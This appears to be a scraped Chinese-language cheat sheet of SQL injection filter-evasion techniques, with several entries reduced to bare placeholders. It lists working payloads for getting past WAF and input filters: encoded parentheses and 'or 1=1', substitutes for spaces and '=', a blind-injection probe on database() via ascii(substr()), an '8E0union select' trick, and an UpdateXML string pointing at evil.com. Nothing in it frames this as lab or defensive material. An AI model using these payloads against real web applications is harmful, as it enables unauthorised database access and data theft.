SQL注入绕过常规姿势
过滤and or
1 | or ——> || |
左括号过滤
urlencode,ascii(char),hex,unicode编码绕过
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号过滤
1 | urlencode,ascii(char),hex,unicode编码绕过 |
过滤union\select
1 | 逻辑绕过 |
过滤空格
1 | 用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/() |
过滤=
1 | ?id=1' or 1 like 1#可以绕过对 = > 等过滤 |
过滤比较符<>
1 | select*fromuserswhereid=1and ascii(substr(database(),0,1))>64 |
过滤where
1 | 逻辑绕过 |
过滤limit
1 | 逻辑绕过 |
过滤group by
1 | 逻辑绕过 |
过滤select
1 | 逻辑绕过 |
过滤’(单引号)
1 | 逻辑绕过 |
过滤逗号
1 | 在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决: |
过滤hex
1 | 逻辑绕过 |
过滤substr
1 | 逻辑绕过 |
编码绕过
利用urlencode,ascii(char),hex,unicode等编码绕过
1 | or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 |
等价函数或变量
1 | hex()、bin() ==> ascii() |
生僻函数
1 | MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’); |
\N绕过
\N相当于NULL字符
1 | select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0 |
PCRE绕过
1 | PHP 的 pcre.backtrack_limit 限制利用 |